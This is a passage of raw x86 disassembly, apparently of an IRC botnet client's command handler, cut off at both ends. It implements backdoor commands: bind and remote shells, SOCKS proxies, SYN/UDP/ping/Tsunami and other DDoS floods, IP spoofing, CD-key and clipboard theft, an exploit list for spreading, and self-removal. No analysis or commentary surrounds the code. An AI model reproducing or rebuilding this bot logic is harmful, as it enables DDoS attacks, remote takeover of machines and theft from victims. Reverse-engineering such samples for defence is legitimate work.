eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C0] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_2990] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dst] push offset asc_440E20 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Bh ; int push eax ; Source call sub_40B78E add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset sub_4167F7 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_4026EA loc_4026D4: ; CODE XREF: sub_401CC7+A21j cmp [ebp+var_2900], ebx jnz loc_408708 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_4026D4 ; --------------------------------------------------------------------------- loc_4026EA: ; CODE XREF: sub_401CC7+A0Bj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_440E40 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_4026FB: ; CODE XREF: sub_401CC7+94Ej lea eax, [ebp+var_C0] push eax push offset unk_440E78 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_40270C: ; CODE XREF: sub_401CC7+93Ej lea eax, [ebp+var_C0] push eax push offset unk_440EA8 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_40271D: ; CODE XREF: sub_401CC7+6A4j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_440090 mov [edi], ecx jnz loc_402166 loc_402733: ; CODE XREF: sub_401CC7+932j mov edi, [edi] push edi ; Str2 push offset aLogin ; "login" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_409B4F push edi ; Str2 push offset asc_440EE4 ; "l" call _strcmp pop ecx test eax, eax pop ecx jz loc_409B4F cmp [ebp+var_A8], ebx jnz short loc_402784 push dword ptr [ebp+Args] ; Str2 push offset a332_3 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409B47 loc_402784: ; CODE XREF: sub_401CC7+AA1j cmp [ebp+arg_28], ebx jnz loc_409B47 xor edi, edi cmp dword_440498, ebx jle loc_402939 mov [ebp+arg_20], offset dword_4563A8 loc_4027A2: ; CODE XREF: sub_401CC7+AFAj push [ebp+arg_8] ; Str2 push [ebp+arg_20] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4027C8 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_440498 jl short loc_4027A2 jmp loc_402939 ; --------------------------------------------------------------------------- loc_4027C8: ; CODE XREF: sub_401CC7+AEAj push offset asc_441034 ; " :" push [ebp+Src] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_402166 mov cl, byte_440090 imul edi, 0B8h mov [eax+2], cl mov cl, byte_440090 mov [eax+3], cl lea ecx, dword_4563C0[edi] push 9Fh ; Count add eax, 4 push ecx ; Source push eax ; Dest call _strncpy lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax loc_40281D: ; CODE XREF: sub_401CC7+C07j push [ebp+arg_8] lea eax, [ebp+SubStr] push offset aD ; "$%d-" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_402889 mov eax, [ebp+arg_20] cmp [eax], ebx jz short loc_402889 lea eax, dword_4563A8[edi] push eax ; Str call _strlen add [ebp+var_C], eax pop ecx jz short loc_4028C4 mov eax, [ebp+arg_20] push dword ptr [eax-4] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4028C4 push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C3F add esp, 0Ch jmp short loc_4028C4 ; --------------------------------------------------------------------------- loc_402889: ; CODE XREF: sub_401CC7+B7Ej ; sub_401CC7+B85j mov eax, [ebp+arg_20] cmp [eax], ebx jnz short loc_4028C4 lea eax, [ebp+SubStr] push 2 ; Count push eax ; Source lea eax, [ebp+var_94] push eax ; Dest call _strncpy lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C3F add esp, 18h loc_4028C4: ; CODE XREF: sub_401CC7+B97j ; sub_401CC7+BABj ... dec [ebp+arg_8] sub [ebp+arg_20], 4 cmp [ebp+arg_8], ebx jg loc_40281D lea eax, [ebp+esi+var_50] mov [ebp+arg_8], 10h mov edi, eax loc_4028E1: ; CODE XREF: sub_401CC7+C66j push [ebp+arg_8] lea eax, [ebp+SubStr] push offset aD_0 ; "$%d" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_402924 mov eax, [edi] cmp eax, ebx jz short loc_402924 push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C3F add esp, 0Ch loc_402924: ; CODE XREF: sub_401CC7+C42j ; sub_401CC7+C48j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_4028E1 mov [ebp+var_2C4], 1 loc_402939: ; CODE XREF: sub_401CC7+ACEj ; sub_401CC7+AFCj mov eax, [ebp+esi+var_90] mov al, [eax] cmp al, byte_440090 jz short loc_402956 cmp [ebp+var_2C4], ebx jz loc_402B4B loc_402956: ; CODE XREF: sub_401CC7+C81j push [ebp+Source] ; Source mov edi, [ebp+Src] push offset aMe ; "$me" push edi ; Src call sub_418C3F lea eax, [ebp+var_C0] push eax ; Source push offset aUser ; "$user" push edi ; Src call sub_418C3F push [ebp+Format] ; Source push offset aChan ; "$chan" push edi ; Src call sub_418C3F push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40B487 push eax ; Source push offset aRndnick ; "$rndnick" push edi ; Src call sub_418C3F add esp, 40h push [ebp+arg_14] ; Source push offset aServer ; "$server" push edi ; Src call sub_418C3F mov edi, offset aChr ; "$chr(" push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h loc_4029C8: ; CODE XREF: sub_401CC7+DFDj test eax, eax jz loc_402AC9 push offset aChr_0 ; "$chr(" push [ebp+Src] ; Str call _strstr mov [ebp+Source], eax add eax, 5 push 4 ; Count push eax ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy lea eax, [ebp+SubStr] push offset asc_44107C ; ")" push eax ; Str call _strtok add esp, 1Ch cmp [ebp+SubStr], 30h jl short loc_402A18 cmp [ebp+SubStr], 39h jle short loc_402A2E loc_402A18: ; CODE XREF: sub_401CC7+D46j push 3 ; Count lea eax, [ebp+SubStr] push offset a63 ; "63" push eax ; Dest call _strncpy add esp, 0Ch loc_402A2E: ; CODE XREF: sub_401CC7+D4Fj lea eax, [ebp+SubStr] push eax ; Str call _atoi test eax, eax pop ecx jle short loc_402A54 lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx mov [ebp+var_94], al jmp short loc_402A68 ; --------------------------------------------------------------------------- loc_402A54: ; CODE XREF: sub_401CC7+D76j call _rand push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402A68: ; CODE XREF: sub_401CC7+D8Bj lea eax, [ebp+SubStr] mov [ebp+var_93], bl push eax ; Str call _strlen mov [ebp+arg_8], eax push 0Ch ; Size lea eax, [ebp+SubStr] push ebx ; Val push eax ; Dst call _memset mov eax, [ebp+arg_8] add eax, 6 push eax ; Count lea eax, [ebp+SubStr] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_94] push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_418C3F push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 30h jmp loc_4029C8 ; --------------------------------------------------------------------------- loc_402AC9: ; CODE XREF: sub_401CC7+D03j mov edi, 1FFh lea eax, [ebp+Str] push edi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push edi ; Count push eax ; Source lea eax, [ebp+var_4AF0] push eax ; Dest call _strncpy lea eax, [ebp+var_4AF0] push offset asc_441084 ; " " push eax ; Str call _strtok add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+Args] mov [ebp+Source], 1Fh loc_402B19: ; CODE XREF: sub_401CC7+E67j push offset asc_441088 ; " " push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+Source] pop ecx jnz short loc_402B19 mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_402166 add ecx, 3 mov [eax], ecx loc_402B4B: ; CODE XREF: sub_401CC7+C89j mov edi, [ebp+esi+var_90] push edi ; Str2 push offset aRndnick_0 ; "rndnick" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_409AF5 push edi ; Str2 push offset aRn ; "rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_409AF5 push edi ; Str2 push offset aDie ; "die" call _strcmp pop ecx test eax, eax pop ecx jz loc_404BFF push edi ; Str2 push offset aD_1 ; "d" call _strcmp pop ecx test eax, eax pop ecx jz loc_404BFF push edi ; Str2 push offset aLogout ; "logout" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B57 push edi ; Str2 push offset aLo ; "lo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B57 push edi ; Str2 push offset aVersion ; "version" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B48 push edi ; Str2 push offset aVer ; "ver" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B48 push edi ; Str2 push offset aDedication ; "dedication" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B3E push edi ; Str2 push offset aDed ; "ded" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B3E push edi ; Str2 push offset aSpeedtest ; "speedtest" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B25 push edi ; Str2 push offset aSt ; "st" call _strcmp pop ecx test eax, eax pop ecx jz loc_404B25 push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A27 push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A27 push edi ; Str2 push offset aUnsecure ; "unsecure" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A27 push edi ; Str2 push offset aUnsec ; "unsec" call _strcmp pop ecx test eax, eax pop ecx jz loc_404A27 push edi ; Str2 push offset aBindshell ; "bindshell" call _strcmp pop ecx test eax, eax pop ecx jz loc_404921 push edi ; Str2 push offset aBd ; "bd" call _strcmp pop ecx test eax, eax pop ecx jz loc_404921 push edi ; Str2 push offset aBindshellstop ; "bindshellstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402CF8 push dword ptr [ebp+esi+Args] push 6 push offset aServer_0 ; "Server" push offset dword_441394 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402CF8: ; CODE XREF: sub_401CC7+1017j push edi ; Str2 push offset aSocks4 ; "socks4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047FF push edi ; Str2 push offset aS4 ; "s4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047FF push edi ; Str2 push offset aSocks4stop ; "socks4stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402D4B push dword ptr [ebp+esi+Args] push 19h push offset aServer_1 ; "Server" push offset dword_44142C jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402D4B: ; CODE XREF: sub_401CC7+106Aj push edi ; Str2 push offset aRloginstop ; "rloginstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402D74 push dword ptr [ebp+esi+Args] push 9 push offset aServer_2 ; "Server" push offset dword_441450 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402D74: ; CODE XREF: sub_401CC7+1093j push edi ; Str2 push offset aHttpstop ; "httpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402D9D push dword ptr [ebp+esi+Args] push 3 push offset aServer_3 ; "Server" push offset dword_441474 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402D9D: ; CODE XREF: sub_401CC7+10BCj push edi ; Str2 push offset aLogstop ; "logstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402DC6 push dword ptr [ebp+esi+Args] push 25h push offset aLogList ; "Log list" push offset dword_441498 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402DC6: ; CODE XREF: sub_401CC7+10E5j push edi ; Str2 push offset aRedirectstop ; "redirectstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402DEF push dword ptr [ebp+esi+Args] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_4414C4 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402DEF: ; CODE XREF: sub_401CC7+110Ej push edi ; Str2 push offset aDdos_stop ; "ddos.stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E18 push dword ptr [ebp+esi+Args] push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_4414EC jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402E18: ; CODE XREF: sub_401CC7+1137j push edi ; Str2 push offset aSynstop ; "synstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E41 push dword ptr [ebp+esi+Args] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_44150C jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402E41: ; CODE XREF: sub_401CC7+1160j push edi ; Str2 push offset aSkysynstop ; "skysynstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E6A push dword ptr [ebp+esi+Args] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_441534 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402E6A: ; CODE XREF: sub_401CC7+1189j push edi ; Str2 push offset aTarga3stop ; "targa3stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E93 push dword ptr [ebp+esi+Args] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_441560 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402E93: ; CODE XREF: sub_401CC7+11B2j push edi ; Str2 push offset aWonkstop ; "wonkstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EBC push dword ptr [ebp+esi+Args] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_441588 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_402EBC: ; CODE XREF: sub_401CC7+11DBj push edi ; Str2 push offset aPacketstop ; "packetstop" call _strcmp pop ecx test eax, eax pop ecx jnz loc_403012 mov esi, dword ptr [ebp+esi+Args] mov edi, [ebp+arg_4] push esi ; Str push 0Dh ; int push offset aDdosFlood_0 ; "DDoS flood" push offset dword_4415AC ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C push esi ; Str push 0Eh ; int push offset aSynFlood_0 ; "Syn flood" push offset dword_4415C4 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C add esp, 40h push esi ; Str push 17h ; int push offset aUdpFlood ; "UDP flood" push offset dword_4415DC ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C push esi ; Str push 16h ; int push offset aPingFlood ; "Ping flood" push offset dword_4415F4 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C add esp, 40h push esi ; Str push 11h ; int push offset aTarga3Flood_0 ; "Targa3 flood" push offset dword_441610 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C push esi ; Str push 12h ; int push offset aWonkFlood_0 ; "Wonk flood" push offset dword_44162C ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C add esp, 40h push esi ; Str push 0Fh ; int push offset aTsunamiFlood ; "Tsunami flood" push offset dword_441648 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C push esi ; Str push 13h ; int push offset aWisdomAttack ; "Wisdom attack" push offset dword_441668 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C add esp, 40h push esi ; Str push 10h ; int push offset aSkysynFlood_0 ; "SkySyn flood" push offset dword_441688 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40BA1C push ebx ; int push [ebp+var_4] ; int push offset unk_441698 ; int push [ebp+Format] ; Str push edi ; int call sub_409D6C add esp, 34h jmp loc_402166 ; --------------------------------------------------------------------------- loc_403012: ; CODE XREF: sub_401CC7+1204j push edi ; Str2 push offset aTsunamistop ; "tsunamistop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40303B push dword ptr [ebp+esi+Args] push 0Fh push offset aTsunamiFlood_0 ; "Tsunami flood" push offset dword_4416E8 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_40303B: ; CODE XREF: sub_401CC7+135Aj push edi ; Str2 push offset aWisdomstop ; "wisdomstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403064 push dword ptr [ebp+esi+Args] push 13h push offset aWisdomAttack_0 ; "Wisdom attack" push offset dword_441714 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_403064: ; CODE XREF: sub_401CC7+1383j push edi ; Str2 push offset aUdpstop ; "udpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40308D push dword ptr [ebp+esi+Args] push 17h push offset aUdpFlood_0 ; "UDP flood" push offset dword_441738 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_40308D: ; CODE XREF: sub_401CC7+13ACj push edi ; Str2 push offset aPingstop ; "pingstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4030B6 push dword ptr [ebp+esi+Args] push 16h push offset aPingFlood_0 ; "Ping flood" push offset dword_44175C jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_4030B6: ; CODE XREF: sub_401CC7+13D5j push edi ; Str2 push offset aTftpstop ; "tftpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4030DF push dword ptr [ebp+esi+Args] push 5 push offset aServer_4 ; "Server" push offset dword_44177C jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_4030DF: ; CODE XREF: sub_401CC7+13FEj push edi ; Str2 push offset aFindfilestop ; "findfilestop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047D0 push edi ; Str2 push offset aFfstop ; "ffstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047D0 push edi ; Str2 push offset aProcsstop ; "procsstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047BB push edi ; Str2 push offset aPsstop ; "psstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047BB push edi ; Str2 push offset aClonestop ; "clonestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40315C push dword ptr [ebp+esi+Args] push 1Fh push offset aClone ; "Clone" push offset dword_441808 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_40315C: ; CODE XREF: sub_401CC7+147Bj push edi ; Str2 push offset aSecurestop ; "securestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403185 push dword ptr [ebp+esi+Args] push 22h push offset aSecure_0 ; "Secure" push offset dword_44182C jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_403185: ; CODE XREF: sub_401CC7+14A4j push edi ; Str2 push offset aScanstop ; "scanstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4031AE push dword ptr [ebp+esi+Args] push 0Bh push offset aScan ; "Scan" push offset dword_441850 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_4031AE: ; CODE XREF: sub_401CC7+14CDj push edi ; Str2 push offset aScanstats ; "scanstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047A5 push edi ; Str2 push offset aStats ; "stats" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047A5 push edi ; Str2 push offset aTransferstats ; "transferstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40478F push edi ; Str2 push offset aTrstats ; "trstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40478F push edi ; Str2 push offset aConnectbacksta ; "connectbackstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404779 push edi ; Str2 push offset aCbstats ; "cbstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404779 push edi ; Str2 push offset aExploitlist ; "exploitlist" call _strcmp pop ecx test eax, eax pop ecx jz loc_404763 push edi ; Str2 push offset aExplist ; "explist" call _strcmp pop ecx test eax, eax pop ecx jz loc_404763 push edi ; Str2 push offset aReconnect ; "reconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_404744 push edi ; Str2 push offset aR ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_404744 push edi ; Str2 push offset aDisconnect ; "disconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_404722 push edi ; Str2 push offset aDc ; "dc" call _strcmp pop ecx test eax, eax pop ecx jz loc_404722 push edi ; Str2 push offset aQuit_0 ; "quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046DA push edi ; Str2 push offset aQ ; "q" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046DA push edi ; Str2 push offset aStatus ; "status" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046C6 push edi ; Str2 push offset aS_2 ; "s" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046C6 push edi ; Str2 push offset aId ; "id" call _strcmp pop ecx test eax, eax pop ecx jz loc_40468F push edi ; Str2 push offset aI_0 ; "i" call _strcmp pop ecx test eax, eax pop ecx jz loc_40468F push edi ; Str2 push offset aReboot ; "reboot" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40337A call sub_41910C test eax, eax mov eax, offset asc_4419C8 ; "-" jnz short loc_40334C mov eax, offset unk_4419E8 loc_40334C: ; CODE XREF: sub_401CC7+167Ej push eax ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 1Ch jmp loc_408708 ; --------------------------------------------------------------------------- loc_40337A: ; CODE XREF: sub_401CC7+1670j push edi ; Str2 push offset aThreads ; "threads" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045B0 push edi ; Str2 push offset aT ; "t" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045B0 push edi ; Str2 push offset aAliases ; "aliases" call _strcmp pop ecx test eax, eax pop ecx jz loc_40458D push edi ; Str2 push offset aAl ; "al" call _strcmp pop ecx test eax, eax pop ecx jz loc_40458D push edi ; Str2 push offset aLog ; "log" call _strcmp pop ecx test eax, eax pop ecx jz loc_40449A push edi ; Str2 push offset aLg ; "lg" call _strcmp pop ecx test eax, eax pop ecx jz loc_40449A push edi ; Str2 push offset aClearlog ; "clearlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_40447E push edi ; Str2 push offset aClg ; "clg" call _strcmp pop ecx test eax, eax pop ecx jz loc_40447E push edi ; Str2 push offset aNetinfo ; "netinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404444 push edi ; Str2 push offset aNi ; "ni" call _strcmp pop ecx test eax, eax pop ecx jz loc_404444 push edi ; Str2 push offset aSysinfo ; "sysinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404419 push edi ; Str2 push offset aSi ; "si" call _strcmp pop ecx test eax, eax pop ecx jz loc_404419 push edi ; Str2 push offset aRemove ; "remove" call _strcmp pop ecx test eax, eax pop ecx jz loc_4043DF push edi ; Str2 push offset aRm ; "rm" call _strcmp pop ecx test eax, eax pop ecx jz loc_4043DF push edi ; Str2 push offset aProcs ; "procs" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042BF push edi ; Str2 push offset aPs ; "ps" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042BF push edi ; Str2 push offset aGetcdkeys ; "getcdkeys" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042A1 push edi ; Str2 push offset aKey ; "key" call _strcmp pop ecx test eax, eax pop ecx jz loc_4042A1 push edi ; Str2 push offset aUptime ; "uptime" call _strcmp pop ecx test eax, eax pop ecx jz loc_404219 push edi ; Str2 push offset aUp ; "up" call _strcmp pop ecx test eax, eax pop ecx jz loc_404219 push edi ; Str2 push offset aDriveinfo ; "driveinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041FC push edi ; Str2 push offset aDrv ; "drv" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041FC push edi ; Str2 push offset aTestdlls ; "testdlls" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041E3 push edi ; Str2 push offset aDll ; "dll" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041E3 push edi ; Str2 push offset aOpencmd ; "opencmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_40416F push edi ; Str2 push offset aOcmd ; "ocmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_40416F push edi ; Str2 push offset aCmdstop ; "cmdstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4035C5 push dword ptr [ebp+esi+Args] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_441D20 jmp loc_4047E3 ; --------------------------------------------------------------------------- loc_4035C5: ; CODE XREF: sub_401CC7+18E4j push edi ; Str2 push offset aWho ; "who" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4036DB cmp [ebp+var_8], ebx jnz short loc_4035F9 push ebx ; int push [ebp+var_4] ; int push offset dword_441D30 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_4035F9: ; CODE XREF: sub_401CC7+1916j mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_403606 ; --------------------------------------------------------------------------- loc_403603: ; CODE XREF: sub_401CC7+1986j mov eax, [ebp+arg_18] loc_403606: ; CODE XREF: sub_401CC7+193Aj cmp [eax], bl jz short loc_40360D inc eax jmp short loc_403612 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_401CC7+1941j mov eax, offset aEmpty ; "<Empty>" loc_403612: ; CODE XREF: sub_401CC7+1944j push eax push edi lea eax, [ebp+Dst] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_403603 push offset unk_441D54 call sub_415C77 pop ecx loc_40365A: ; CODE XREF: sub_401CC7+1C17j ; sub_401CC7+2F4Cj mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx mov [ebp+arg_20], edi jz loc_402166 push [ebp+arg_8] ; Str2 push offset aSpoof ; "spoof" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404D00 push offset Str2 ; "off" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_404C25 lea eax, [ebp+Dst] push offset asc_44229C ; "-" push eax ; Dest mov dword_4E7A18, ebx call _sprintf pop ecx pop ecx loc_4036B1: ; CODE XREF: sub_401CC7+3034j cmp [ebp+var_8], ebx jnz loc_409B47 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C loc_4036D3: ; CODE XREF: sub_401CC7+7288j add esp, 14h jmp loc_409B47 ; --------------------------------------------------------------------------- loc_4036DB: ; CODE XREF: sub_401CC7+190Dj push edi ; Str2 push offset aGetclip ; "getclip" call _strcmp pop ecx test eax, eax pop ecx jz loc_40412E push edi ; Str2 push offset aGc ; "gc" call _strcmp pop ecx test eax, eax pop ecx jz loc_40412E push edi ; Str2 push offset aFlusharp ; "flusharp" call _strcmp pop ecx test eax, eax pop ecx jz loc_404117 push edi ; Str2 push offset aFarp ; "farp" call _strcmp pop ecx test eax, eax pop ecx jz loc_404117 push edi ; Str2 push offset aFlushdns ; "flushdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040DF push edi ; Str2 push offset aFdns ; "fdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040DF push edi ; Str2 push offset aCurrentip ; "currentip" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040A5 push edi ; Str2 push offset aCip ; "cip" call _strcmp pop ecx test eax, eax pop ecx jz loc_4040A5 push edi ; Str2 push offset aRloginserver ; "rloginserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F6A push edi ; Str2 push offset aRlogin ; "rlogin" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F6A push edi ; Str2 push offset aHttpserver ; "httpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403DDE push edi ; Str2 push offset aHttp ; "http" call _strcmp pop ecx test eax, eax pop ecx jz loc_403DDE push edi ; Str2 push offset aTftpserver ; "tftpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403CA4 push edi ; Str2 push offset aTftp ; "tftp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403CA4 push edi ; Str2 push offset aCrash ; "crash" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403867 lea eax, [ebp+Dst] push offset asc_442084 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403846 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push 